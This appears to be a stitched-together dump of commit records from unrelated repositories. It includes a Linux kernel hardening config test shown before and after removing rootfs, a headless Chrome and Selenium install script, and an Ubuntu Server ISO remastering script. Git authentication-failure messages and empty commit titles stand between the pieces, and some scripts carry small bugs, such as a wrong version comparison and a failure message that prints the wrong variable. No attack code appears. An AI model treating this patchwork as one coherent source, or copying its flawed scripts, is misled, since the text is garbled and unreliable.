tests: Remove rootfs from kernel config test

The rootfs fs was removed in 5.3.x but was mostly a
irrelevant entry in the filesystems list anyway.

Here is the upstream commit:

commit fd3e007f6c6a0f677e4ee8aca4b9bab8ad6cab9a
Author: Al Viro <viro@zeniv.linux.org.uk>
Date:   Thu May 30 17:48:35 2019 -0400

    don't bother with registering rootfs

    init_mount_tree() can get to rootfs_fs_type directly and that simplifies
    a lot of things.  We don't need to register it, we don't need to look
    it up *and* we don't need to bother with preventing subsequent userland
    mounts.  That's the way we should've done that from the very beginning.

    There is a user-visible change, namely the disappearance of "rootfs"
    from /proc/filesystems.  Note that it's been unmountable all along
    and it didn't show up in /proc/mounts; however, it *is* a user-visible
    change and theoretically some script might've been using its presence
    in /proc/filesystems to tell 2.4.11+ from earlier kernels.

    *IF* any complaints about behaviour change do show up, we could fake
    it in /proc/filesystems.  I very much doubt we'll have to, though.

    Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>

Signed-off-by: Rolf Neugebauer <bc755ac45a0e799d1d490cba76febc56d80cc5fc@rneugeba.io>

#!/bin/sh

set -e

function fail {
  printf "FAILURE: $1\n"
  FAILED=1
}

echo "starting kernel config sanity test with ${1:-/proc/config.gz}"

if [ -n "$1" ]; then
  UNZIPPED_CONFIG=$(cat "$1")
else
  # decompress /proc/config.gz from the host
  UNZIPPED_CONFIG=$(zcat /proc/config.gz)
fi

if [ -n "$2" ]; then
  kernelVersion="$2"
else
  kernelVersion="$(uname -r)"
fi
kernelMajor="${kernelVersion%%.*}"
kernelMinor="${kernelVersion#$kernelMajor.}"
kernelMinor="${kernelMinor%%.*}"
arch="$(uname -m)"

# Most tests against https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Project
# Positive cases

echo $UNZIPPED_CONFIG | grep -q CONFIG_BUG=y || fail "CONFIG_BUG=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_DEBUG_KERNEL=y || fail "CONFIG_DEBUG_KERNEL=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_STRICT_DEVMEM=y || fail "CONFIG_STRICT_DEVMEM=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_SYN_COOKIES=y || fail "CONFIG_SYN_COOKIES=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_DEBUG_CREDENTIALS=y || fail "CONFIG_DEBUG_CREDENTIALS=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_DEBUG_NOTIFIERS=y || fail "CONFIG_DEBUG_NOTIFIERS=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_DEBUG_LIST=y || fail "CONFIG_DEBUG_LIST=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_SECCOMP=y || fail "CONFIG_SECCOMP=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_SECCOMP_FILTER=y || fail "CONFIG_SECCOMP_FILTER=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_SECURITY=y || fail "CONFIG_SECURITY=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_SECURITY_YAMA=y || fail "CONFIG_SECURITY_YAMA=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_PANIC_ON_OOPS=y || fail "CONFIG_PANIC_ON_OOPS=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_SYN_COOKIES=y || fail "CONFIG_SYN_COOKIES=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_BPF_JIT_ALWAYS_ON=y || fail "CONFIG_BPF_JIT_ALWAYS_ON=y"

# Conditional on kernel version
if [ "$kernelMajor" -eq 4 -a "$kernelMinor" -le 10 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_DEBUG_RODATA=y || fail "CONFIG_DEBUG_RODATA=y"
  echo $UNZIPPED_CONFIG | grep -q CONFIG_DEBUG_SET_MODULE_RONX=y || fail "CONFIG_DEBUG_SET_MODULE_RONX=y"
fi

# Options added in newer kernels
if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 5 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_UBSAN=y || fail "CONFIG_UBSAN=y"
fi
if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 7 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_SLAB_FREELIST_RANDOM=y || fail "CONFIG_SLAB_FREELIST_RANDOM=y"
fi
if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 8 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_HARDENED_USERCOPY=y || fail "CONFIG_HARDENED_USERCOPY=y"
fi
# 4.18.x renamed this option (and re-introduced CC_STACKPROTECTOR as STACKPROTECTOR)
if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -le 4 -a "$kernelMinor" -ge 18 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_STACKPROTECTOR=y || fail "CONFIG_STACKPROTECTOR=y"
  echo $UNZIPPED_CONFIG | grep -q CONFIG_STACKPROTECTOR_STRONG=y || fail "CONFIG_STACKPROTECTOR_STRONG=y"
else
  echo $UNZIPPED_CONFIG | grep -q CONFIG_CC_STACKPROTECTOR_STRONG=y || fail "CONFIG_CC_STACKPROTECTOR_STRONG=y"
fi
# poisoning cannot be enabled in 4.4
if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 9 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_PAGE_POISONING=y || fail "CONFIG_PAGE_POISONING=y"
  echo $UNZIPPED_CONFIG | grep -q CONFIG_PAGE_POISONING_NO_SANITY=y || fail "CONFIG_PAGE_POISONING_NO_SANITY=y"
  echo $UNZIPPED_CONFIG | grep -q CONFIG_PAGE_POISONING_ZERO=y || fail "CONFIG_PAGE_POISONING_ZERO=y"
fi
if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 10 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_BUG_ON_DATA_CORRUPTION=y || fail "CONFIG_BUG_ON_DATA_CORRUPTION=y"
fi
if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 11 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_STRICT_KERNEL_RWX=y || fail "CONFIG_STRICT_KERNEL_RWX=y"
  echo $UNZIPPED_CONFIG | grep -q CONFIG_STRICT_MODULE_RWX=y || fail "CONFIG_STRICT_MODULE_RWX=y"
fi
if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 5 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_RANDOMIZE_BASE=y || fail "CONFIG_RANDOMIZE_BASE=y"
fi

# Positive cases conditional on architecture and/or kernel version
if [ "$arch" = "x86_64" ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_LEGACY_VSYSCALL_NONE=y || fail "CONFIG_LEGACY_VSYSCALL_NONE=y"
  echo $UNZIPPED_CONFIG | grep -q CONFIG_PAGE_TABLE_ISOLATION=y || fail "CONFIG_PAGE_TABLE_ISOLATION=y"
  echo $UNZIPPED_CONFIG | grep -q CONFIG_RETPOLINE=y || fail "CONFIG_RETPOLINE=y"
  echo $UNZIPPED_CONFIG | grep -q CONFIG_GENERIC_CPU_VULNERABILITIES=y || fail "CONFIG_GENERIC_CPU_VULNERABILITIES=y"

  if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 5 ]; then
    echo $UNZIPPED_CONFIG | grep -q CONFIG_IO_STRICT_DEVMEM=y || fail "CONFIG_IO_STRICT_DEVMEM=y"
  fi
  if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 8 ]; then
    echo $UNZIPPED_CONFIG | grep -q CONFIG_RANDOMIZE_MEMORY=y || fail "CONFIG_RANDOMIZE_MEMORY=y"
  fi
fi

# Negative cases
echo $UNZIPPED_CONFIG | grep -q 'CONFIG_COMPAT_BRK is not set' || fail "CONFIG_COMPAT_BRK is not set"
echo $UNZIPPED_CONFIG | grep -q 'CONFIG_SCSI_PROC_FS is not set' || fail "CONFIG_SCSI_PROC_FS is not set"

# Negative cases conditional on architecture and/or kernel version
if [ "$arch" = "x86_64" ]; then
  echo $UNZIPPED_CONFIG | grep -q 'CONFIG_ACPI_CUSTOM_METHOD is not set' || fail "CONFIG_ACPI_CUSTOM_METHOD is not set"
  echo $UNZIPPED_CONFIG | grep -q 'CONFIG_DEVKMEM is not set' || fail "CONFIG_DEVKMEM is not set"
  echo $UNZIPPED_CONFIG | grep -q 'CONFIG_COMPAT_VDSO is not set' || fail "CONFIG_COMPAT_VDSO is not set"
  echo $UNZIPPED_CONFIG | grep -q 'CONFIG_KEXEC is not set' || fail "CONFIG_KEXEC is not set"
  echo $UNZIPPED_CONFIG | grep -q 'CONFIG_X86_X32 is not set' || fail "CONFIG_X86_X32 is not set"
  echo $UNZIPPED_CONFIG | grep -q 'CONFIG_MODIFY_LDT_SYSCALL is not set' || fail "CONFIG_MODIFY_LDT_SYSCALL is not set"
  if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 5 ]; then
    echo $UNZIPPED_CONFIG | grep -q 'CONFIG_LEGACY_PTYS is not set' || fail "CONFIG_LEGACY_PTYS is not set"
    echo $UNZIPPED_CONFIG | grep -q 'CONFIG_HIBERNATION is not set' || fail "CONFIG_HIBERNATION is not set"
  fi
fi

# modprobe
for mod in \
nfs \
nfsd \
ntfs
do
  modprobe $mod 2>/dev/null || true
done

# check filesystems that are built in
for fs in \
sysfs \
tmpfs \
bdev \
proc \
cpuset \
cgroup \
devtmpfs \
binfmt_misc \
debugfs \
tracefs \
securityfs \
sockfs \
bpf \
pipefs \
ramfs \
hugetlbfs \
rpc_pipefs \
devpts \
ext4 \
vfat \
msdos \
iso9660 \
nfs \
nfs4 \
nfsd \
cifs \
ntfs \
fuseblk \
fuse \
fusectl \
overlay \
udf \
xfs \
9p \
pstore \
mqueue
do
	grep -q "[[:space:]]${fs}\$" /proc/filesystems || fail "${fs} filesystem missing"
done
if [ "$arch" = "x86_64" ]; then
  grep -q "[[:space:]]oprofilefs\$" /proc/filesystems || fail "${fs} filesystem missing"
fi

if [ -z "$FAILED" ]
then
	echo "kernel config test succeeded!"
else
	echo "kernel config test failed!"
	exit 1
fi

#!/bin/sh

set -e

function fail {
  printf "FAILURE: $1\n"
  FAILED=1
}

echo "starting kernel config sanity test with ${1:-/proc/config.gz}"

if [ -n "$1" ]; then
  UNZIPPED_CONFIG=$(cat "$1")
else
  # decompress /proc/config.gz from the host
  UNZIPPED_CONFIG=$(zcat /proc/config.gz)
fi

if [ -n "$2" ]; then
  kernelVersion="$2"
else
  kernelVersion="$(uname -r)"
fi
kernelMajor="${kernelVersion%%.*}"
kernelMinor="${kernelVersion#$kernelMajor.}"
kernelMinor="${kernelMinor%%.*}"
arch="$(uname -m)"

# Most tests against https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Project
# Positive cases

echo $UNZIPPED_CONFIG | grep -q CONFIG_BUG=y || fail "CONFIG_BUG=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_DEBUG_KERNEL=y || fail "CONFIG_DEBUG_KERNEL=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_STRICT_DEVMEM=y || fail "CONFIG_STRICT_DEVMEM=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_SYN_COOKIES=y || fail "CONFIG_SYN_COOKIES=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_DEBUG_CREDENTIALS=y || fail "CONFIG_DEBUG_CREDENTIALS=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_DEBUG_NOTIFIERS=y || fail "CONFIG_DEBUG_NOTIFIERS=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_DEBUG_LIST=y || fail "CONFIG_DEBUG_LIST=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_SECCOMP=y || fail "CONFIG_SECCOMP=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_SECCOMP_FILTER=y || fail "CONFIG_SECCOMP_FILTER=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_SECURITY=y || fail "CONFIG_SECURITY=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_SECURITY_YAMA=y || fail "CONFIG_SECURITY_YAMA=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_PANIC_ON_OOPS=y || fail "CONFIG_PANIC_ON_OOPS=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_SYN_COOKIES=y || fail "CONFIG_SYN_COOKIES=y"
echo $UNZIPPED_CONFIG | grep -q CONFIG_BPF_JIT_ALWAYS_ON=y || fail "CONFIG_BPF_JIT_ALWAYS_ON=y"

# Conditional on kernel version
if [ "$kernelMajor" -eq 4 -a "$kernelMinor" -le 10 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_DEBUG_RODATA=y || fail "CONFIG_DEBUG_RODATA=y"
  echo $UNZIPPED_CONFIG | grep -q CONFIG_DEBUG_SET_MODULE_RONX=y || fail "CONFIG_DEBUG_SET_MODULE_RONX=y"
fi

# Options added in newer kernels
if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 5 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_UBSAN=y || fail "CONFIG_UBSAN=y"
fi
if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 7 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_SLAB_FREELIST_RANDOM=y || fail "CONFIG_SLAB_FREELIST_RANDOM=y"
fi
if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 8 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_HARDENED_USERCOPY=y || fail "CONFIG_HARDENED_USERCOPY=y"
fi
# 4.18.x renamed this option (and re-introduced CC_STACKPROTECTOR as STACKPROTECTOR)
if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -le 4 -a "$kernelMinor" -ge 18 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_STACKPROTECTOR=y || fail "CONFIG_STACKPROTECTOR=y"
  echo $UNZIPPED_CONFIG | grep -q CONFIG_STACKPROTECTOR_STRONG=y || fail "CONFIG_STACKPROTECTOR_STRONG=y"
else
  echo $UNZIPPED_CONFIG | grep -q CONFIG_CC_STACKPROTECTOR_STRONG=y || fail "CONFIG_CC_STACKPROTECTOR_STRONG=y"
fi
# poisoning cannot be enabled in 4.4
if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 9 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_PAGE_POISONING=y || fail "CONFIG_PAGE_POISONING=y"
  echo $UNZIPPED_CONFIG | grep -q CONFIG_PAGE_POISONING_NO_SANITY=y || fail "CONFIG_PAGE_POISONING_NO_SANITY=y"
  echo $UNZIPPED_CONFIG | grep -q CONFIG_PAGE_POISONING_ZERO=y || fail "CONFIG_PAGE_POISONING_ZERO=y"
fi
if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 10 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_BUG_ON_DATA_CORRUPTION=y || fail "CONFIG_BUG_ON_DATA_CORRUPTION=y"
fi
if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 11 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_STRICT_KERNEL_RWX=y || fail "CONFIG_STRICT_KERNEL_RWX=y"
  echo $UNZIPPED_CONFIG | grep -q CONFIG_STRICT_MODULE_RWX=y || fail "CONFIG_STRICT_MODULE_RWX=y"
fi
if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 5 ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_RANDOMIZE_BASE=y || fail "CONFIG_RANDOMIZE_BASE=y"
fi

# Positive cases conditional on architecture and/or kernel version
if [ "$arch" = "x86_64" ]; then
  echo $UNZIPPED_CONFIG | grep -q CONFIG_LEGACY_VSYSCALL_NONE=y || fail "CONFIG_LEGACY_VSYSCALL_NONE=y"
  echo $UNZIPPED_CONFIG | grep -q CONFIG_PAGE_TABLE_ISOLATION=y || fail "CONFIG_PAGE_TABLE_ISOLATION=y"
  echo $UNZIPPED_CONFIG | grep -q CONFIG_RETPOLINE=y || fail "CONFIG_RETPOLINE=y"
  echo $UNZIPPED_CONFIG | grep -q CONFIG_GENERIC_CPU_VULNERABILITIES=y || fail "CONFIG_GENERIC_CPU_VULNERABILITIES=y"

  if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 5 ]; then
    echo $UNZIPPED_CONFIG | grep -q CONFIG_IO_STRICT_DEVMEM=y || fail "CONFIG_IO_STRICT_DEVMEM=y"
  fi
  if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 8 ]; then
    echo $UNZIPPED_CONFIG | grep -q CONFIG_RANDOMIZE_MEMORY=y || fail "CONFIG_RANDOMIZE_MEMORY=y"
  fi
fi

# Negative cases
echo $UNZIPPED_CONFIG | grep -q 'CONFIG_COMPAT_BRK is not set' || fail "CONFIG_COMPAT_BRK is not set"
echo $UNZIPPED_CONFIG | grep -q 'CONFIG_SCSI_PROC_FS is not set' || fail "CONFIG_SCSI_PROC_FS is not set"

# Negative cases conditional on architecture and/or kernel version
if [ "$arch" = "x86_64" ]; then
  echo $UNZIPPED_CONFIG | grep -q 'CONFIG_ACPI_CUSTOM_METHOD is not set' || fail "CONFIG_ACPI_CUSTOM_METHOD is not set"
  echo $UNZIPPED_CONFIG | grep -q 'CONFIG_DEVKMEM is not set' || fail "CONFIG_DEVKMEM is not set"
  echo $UNZIPPED_CONFIG | grep -q 'CONFIG_COMPAT_VDSO is not set' || fail "CONFIG_COMPAT_VDSO is not set"
  echo $UNZIPPED_CONFIG | grep -q 'CONFIG_KEXEC is not set' || fail "CONFIG_KEXEC is not set"
  echo $UNZIPPED_CONFIG | grep -q 'CONFIG_X86_X32 is not set' || fail "CONFIG_X86_X32 is not set"
  echo $UNZIPPED_CONFIG | grep -q 'CONFIG_MODIFY_LDT_SYSCALL is not set' || fail "CONFIG_MODIFY_LDT_SYSCALL is not set"
  if [ "$kernelMajor" -eq 5 ] || [ "$kernelMajor" -eq 4 -a "$kernelMinor" -ge 5 ]; then
    echo $UNZIPPED_CONFIG | grep -q 'CONFIG_LEGACY_PTYS is not set' || fail "CONFIG_LEGACY_PTYS is not set"
    echo $UNZIPPED_CONFIG | grep -q 'CONFIG_HIBERNATION is not set' || fail "CONFIG_HIBERNATION is not set"
  fi
fi

# modprobe
for mod in \
nfs \
nfsd \
ntfs
do
  modprobe $mod 2>/dev/null || true
done

# check filesystems that are built in
for fs in \
sysfs \
rootfs \
tmpfs \
bdev \
proc \
cpuset \
cgroup \
devtmpfs \
binfmt_misc \
debugfs \
tracefs \
securityfs \
sockfs \
bpf \
pipefs \
ramfs \
hugetlbfs \
rpc_pipefs \
devpts \
ext4 \
vfat \
msdos \
iso9660 \
nfs \
nfs4 \
nfsd \
cifs \
ntfs \
fuseblk \
fuse \
fusectl \
overlay \
udf \
xfs \
9p \
pstore \
mqueue
do
	grep -q "[[:space:]]${fs}\$" /proc/filesystems || fail "${fs} filesystem missing"
done
if [ "$arch" = "x86_64" ]; then
  grep -q "[[:space:]]oprofilefs\$" /proc/filesystems || fail "${fs} filesystem missing"
fi

if [ -z "$FAILED" ]
then
	echo "kernel config test succeeded!"
else
	echo "kernel config test failed!"
	exit 1
fi


C-C-C-Combo Breaker! latex.sh script added

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/YetAnotherMinion/core.git/'


bash scripts

bash scripts

#!/usr/bin/env bash

#install dependencies
sudo apt-get update
sudo apt-get -y upgrade
sudo apt-get install -y openjdk-8-jre-headless xvfb libxi6 libgconf-2-4
sudo apt-get install -y unzip

#install chrome
wget -N https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb -P ~/
sudo dpkg -i --force-depends ~/google-chrome-stable_current_amd64.deb
sudo apt-get -f install -y
sudo dpkg -i --force-depends ~/google-chrome-stable_current_amd64.deb

wget -N https://chromedriver.storage.googleapis.com/2.33/chromedriver_linux64.zip -P ~/
unzip ~/chromedriver_linux64.zip -d ~/
rm ~/chromedriver_linux64.zip

#install pip3

sudo echo "export LC_ALL=C" >> ~/.bashrc
source ~/.bashrc
sudo apt-get install -y python3-pip
sudo apt-get install build-essential libssl-dev libffi-dev python3-dev
sudo apt-get install -y python3-venv
mkdir -p ~/.virtualenvs
cd ~/.virtualenvs
pyvenv my_env
source ~/.virtualenvs/my_env/bin/activate
pip install beautifulsoup4
pip install selenium

#for virtual display
Xvfb -ac :99 -screen 0 1280x1024x16 &
export DISPLAY=:99

error: pathspec 'useful-bash-scripts/headless_chrome_selenium.sh' did not match any file(s) known to git


prepare for upcoming Ubuntu Server 14.04.5

#!/bin/bash

DIR="$(cd "$(dirname "${0}")" || exit; pwd)"
SOURCE_DIR="${DIR}/source"
OUTPUT_DIR="${DIR}/output"
ISO=$1

# should have exactly 1 parameter
echo "* check user input"
if [ $# -ne 1 ]; then
  echo "ISO required, exited"
  exit 1
fi

# mount/mkisofs require root privilege
echo "* check root privilege"
if [ "$(whoami)" != "root" ]; then
  echo "root privilege required"
  exit 1
fi

# support listed versions only
FILENAME="$(basename "${ISO}")"
echo "* input filename: ${FILENAME}"
case "${FILENAME}" in
  ubuntu-12.04.3-server-amd64.iso)
    LABEL="Ubuntu-Server 12.04.3 LTS amd64"
    ;;
  ubuntu-12.04.4-server-amd64.iso)
    LABEL="Ubuntu-Server 12.04.4 LTS amd64"
    ;;
  ubuntu-12.04.5-server-amd64.iso)
    LABEL="Ubuntu-Server 12.04.5 LTS amd64"
    ;;
  precise-server-amd64.iso)
    LABEL="Ubuntu-Server 12.04 Daily amd64"
    ;;
  ubuntu-14.04.2-server-amd64.iso)
    LABEL="Ubuntu-Server 14.04.2 LTS amd64"
    ;;
  ubuntu-14.04.3-server-amd64.iso)
    LABEL="Ubuntu-Server 14.04.3 LTS amd64"
    ;;
  ubuntu-14.04.4-server-amd64.iso)
    LABEL="Ubuntu-Server 14.04.4 LTS amd64"
    ;;
  ubuntu-14.04.5-server-amd64.iso)
    LABEL="Ubuntu-Server 14.04.5 LTS amd64"
    ;;
  trusty-server-amd64.iso)
    LABEL="Ubuntu-Server 14.04 Daily amd64"
    ;;
  ubuntu-16.04-server-amd64.iso)
    LABEL="Ubuntu-Server 16.04 LTS amd64"
    ;;
  ubuntu-16.04.1-server-amd64.iso)
    LABEL="Ubuntu-Server 16.04.1 LTS amd64"
    ;;
  xenial-server-amd64.iso)
    LABEL="Ubuntu-Server 16.04 Daily amd64"
    ;;
  *)
    echo "sorry, not supported, exited"
    exit 1
    ;;
esac

# cleanup old configures before run
echo "* initialize source folder"
rm -rf "${SOURCE_DIR}" "${OUTPUT_DIR}"
mkdir -p "${SOURCE_DIR}" "${OUTPUT_DIR}"

# mount ISO image, and make a copy
mount -o loop "${ISO}" "${SOURCE_DIR}" >/dev/null 2>&1 || exit 1
  pushd "${SOURCE_DIR}" >/dev/null 2>&1
    cp -a ./* "${OUTPUT_DIR}"
    cp -a ./.disk "${OUTPUT_DIR}"
    sync
  popd >/dev/null 2>&1
umount "${SOURCE_DIR}" || exit 1

# bypass language selection menu
echo "en" > "${OUTPUT_DIR}/isolinux/lang"

# copy customized configure files to target directory
echo "* configure setup files"
cp -f "${DIR}/conf/preseed/ubuntu-server-raid1" \
    "${OUTPUT_DIR}/preseed/ubuntu-server-raid1"
cp -f "${DIR}/conf/preseed/ubuntu-server-simple" \
    "${OUTPUT_DIR}/preseed/ubuntu-server-simple"
cp -f "${DIR}/conf/install/cleanup" \
    "${OUTPUT_DIR}/install/cleanup"
cp -f "${DIR}/conf/isolinux/txt.cfg" \
    "${OUTPUT_DIR}/isolinux/txt.cfg"

# ubuntu-XXXXXX.iso
OUTPUT_FILE="$(basename -s ".iso" ${ISO})-$(date +%H%M%S).iso"
INPUT_DIR="output"

# generate customized ISO image file
echo "* generate iso image"
mkisofs -r -v -V "${LABEL}" -cache-inodes -J -l -input-charset utf-8 \
        -no-emul-boot -boot-load-size 4 -boot-info-table \
        -b isolinux/isolinux.bin -c isolinux/boot.cat \
        -quiet -o "${OUTPUT_FILE}" "${INPUT_DIR}"
sync

# change owner:group after ISO is created
echo "* ensure output file owner/group"
if [ ! -z "${SUDO_USER}" ]; then
  _UID=$(id -u "${SUDO_USER}")
  _GID=$(id -g "${SUDO_USER}")
  chown "${_UID}":"${_GID}" "${OUTPUT_FILE}"
fi

# ask user whether to delete temp folder or not
echo "* all done"
read -p "remove temporary folders? [y/N] " YESNO
if [ "${YESNO}" = "y" ] || [ "${YESNO}" = "yes" ]; then
  rm -rf "${SOURCE_DIR}" "${OUTPUT_DIR}"
fi

# normally exit
exit 0

#!/bin/bash

DIR="$(cd "$(dirname "${0}")" || exit; pwd)"
SOURCE_DIR="${DIR}/source"
OUTPUT_DIR="${DIR}/output"
ISO=$1

# should have exactly 1 parameter
echo "* check user input"
if [ $# -ne 1 ]; then
  echo "ISO required, exited"
  exit 1
fi

# mount/mkisofs require root privilege
echo "* check root privilege"
if [ "$(whoami)" != "root" ]; then
  echo "root privilege required"
  exit 1
fi

# support listed versions only
FILENAME="$(basename "${ISO}")"
echo "* input filename: ${FILENAME}"
case "${FILENAME}" in
  ubuntu-12.04.3-server-amd64.iso)
    LABEL="Ubuntu-Server 12.04.3 LTS amd64"
    ;;
  ubuntu-12.04.4-server-amd64.iso)
    LABEL="Ubuntu-Server 12.04.4 LTS amd64"
    ;;
  ubuntu-12.04.5-server-amd64.iso)
    LABEL="Ubuntu-Server 12.04.5 LTS amd64"
    ;;
  precise-server-amd64.iso)
    LABEL="Ubuntu-Server 12.04 Daily amd64"
    ;;
  ubuntu-14.04.2-server-amd64.iso)
    LABEL="Ubuntu-Server 14.04.2 LTS amd64"
    ;;
  ubuntu-14.04.3-server-amd64.iso)
    LABEL="Ubuntu-Server 14.04.3 LTS amd64"
    ;;
  ubuntu-14.04.4-server-amd64.iso)
    LABEL="Ubuntu-Server 14.04.4 LTS amd64"
    ;;
  trusty-server-amd64.iso)
    LABEL="Ubuntu-Server 14.04 Daily amd64"
    ;;
  ubuntu-16.04-server-amd64.iso)
    LABEL="Ubuntu-Server 16.04 LTS amd64"
    ;;
  ubuntu-16.04.1-server-amd64.iso)
    LABEL="Ubuntu-Server 16.04.1 LTS amd64"
    ;;
  xenial-server-amd64.iso)
    LABEL="Ubuntu-Server 16.04 Daily amd64"
    ;;
  *)
    echo "sorry, not supported, exited"
    exit 1
    ;;
esac

# cleanup old configures before run
echo "* initialize source folder"
rm -rf "${SOURCE_DIR}" "${OUTPUT_DIR}"
mkdir -p "${SOURCE_DIR}" "${OUTPUT_DIR}"

# mount ISO image, and make a copy
mount -o loop "${ISO}" "${SOURCE_DIR}" >/dev/null 2>&1 || exit 1
  pushd "${SOURCE_DIR}" >/dev/null 2>&1
    cp -a ./* "${OUTPUT_DIR}"
    cp -a ./.disk "${OUTPUT_DIR}"
    sync
  popd >/dev/null 2>&1
umount "${SOURCE_DIR}" || exit 1

# bypass language selection menu
echo "en" > "${OUTPUT_DIR}/isolinux/lang"

# copy customized configure files to target directory
echo "* configure setup files"
cp -f "${DIR}/conf/preseed/ubuntu-server-raid1" \
    "${OUTPUT_DIR}/preseed/ubuntu-server-raid1"
cp -f "${DIR}/conf/preseed/ubuntu-server-simple" \
    "${OUTPUT_DIR}/preseed/ubuntu-server-simple"
cp -f "${DIR}/conf/install/cleanup" \
    "${OUTPUT_DIR}/install/cleanup"
cp -f "${DIR}/conf/isolinux/txt.cfg" \
    "${OUTPUT_DIR}/isolinux/txt.cfg"

# ubuntu-XXXXXX.iso
OUTPUT_FILE="$(basename -s ".iso" ${ISO})-$(date +%H%M%S).iso"
INPUT_DIR="output"

# generate customized ISO image file
echo "* generate iso image"
mkisofs -r -v -V "${LABEL}" -cache-inodes -J -l -input-charset utf-8 \
        -no-emul-boot -boot-load-size 4 -boot-info-table \
        -b isolinux/isolinux.bin -c isolinux/boot.cat \
        -quiet -o "${OUTPUT_FILE}" "${INPUT_DIR}"
sync

# change owner:group after ISO is created
echo "* ensure output file owner/group"
if [ ! -z "${SUDO_USER}" ]; then
  _UID=$(id -u "${SUDO_USER}")
  _GID=$(id -g "${SUDO_USER}")
  chown "${_UID}":"${_GID}" "${OUTPUT_FILE}"
fi

# ask user whether to delete temp folder or not
echo "* all done"
read -p "remove temporary folders? [y/N] " YESNO
if [ "${YESNO}" = "y" ] || [ "${YESNO}" = "yes" ]; then
  rm -rf "${SOURCE_DIR}" "${OUTPUT_DIR}"
fi

# normally exit
exit 0


Fix a bug on the git script

Fix a bug on the git script

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/stoyicker/dinger.git/'


script 4 added

script 4 added

